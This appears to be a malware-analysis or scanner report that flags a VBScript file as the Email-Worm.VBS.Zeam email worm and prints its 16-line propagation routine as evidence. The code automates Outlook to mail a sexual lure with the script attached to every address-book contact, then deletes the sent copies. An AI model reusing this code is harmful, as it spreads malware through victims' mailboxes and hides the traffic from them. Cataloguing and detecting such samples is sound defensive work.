Suspicious ^80% Download

Email-Worm.VBS.Zeam

Email worm with explicit payload

Outlook MAPI automationOutlook address entries iteration

SHA-256c4a10ea6f6baf8446f5acb417cec9aa131d36b25df52de39843abe8a06ec2809

Evidence

Outlook address entries iteration lines 1–16

1On Error Resume Next
2Dim OL01, OL02, OL03, OL04, OL05
3Dim RG01, RG02
4Set OL01 = CreateObject( "Outlook.Application" )
5Set OL02 = OL01.GetNameSpace( "MAPI" )
6For Each OL03 In OL02.AddressLists
7For OL04 = 1 To OL03.AddressEntries.Count
8    Set OL05 = OL01.CreateItem( 0 )
9      OL05.BCC = OL03.AddressEntries( OL04 ).Address
10      OL05.Subject = "r u FEELING HORNY?  Do you feel like stroking it or rubbing it?"
11    OL05.Body = "Well this should make you CUM in your pantz! I know its gonna make me CUM!  Quick Open your mouth!!mmmmmmm!"
12       OL05.Attachments.Add WScript.ScriptFullName
13        OL05.DeleteAfterSubmit = True
14       OL05.Send
15Next
16Next